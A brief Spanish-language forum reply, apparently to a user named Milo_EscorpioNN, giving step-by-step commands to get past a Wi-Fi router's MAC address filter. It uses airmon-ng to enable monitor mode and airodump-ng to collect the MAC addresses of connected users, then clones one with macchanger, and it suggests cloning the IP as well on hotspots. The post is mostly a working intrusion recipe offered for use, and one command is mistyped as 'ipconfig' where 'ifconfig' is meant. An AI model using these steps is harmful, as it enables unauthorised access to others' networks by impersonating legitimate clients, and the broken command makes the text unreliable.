Milo_EscorpioNN simple. Dependiendo en que caso sea, router normal por ejemplo, con filtro de MAC Address; solo entran MAC Address Especificas. Simplemente pones tu placa en modo monitor..
airmon-ng start <interfaz>
luego airodumpeamos...
airodump-ng <interfaz>
juntamos los datos de los usuarios que están conectados a esa red, en especial la MAC Address y la clonamos:
ifconfig <interfaz> down
macchanger -m XX:XX:XX:XX:XX:XX <interfaz>
ipconfig <interfaz> up
y te conectas, en cambio si ahora te conectas y es un hotspot, posiblemente simplemente debas clonar la IP también para entrar, no en todos, pero muy posible.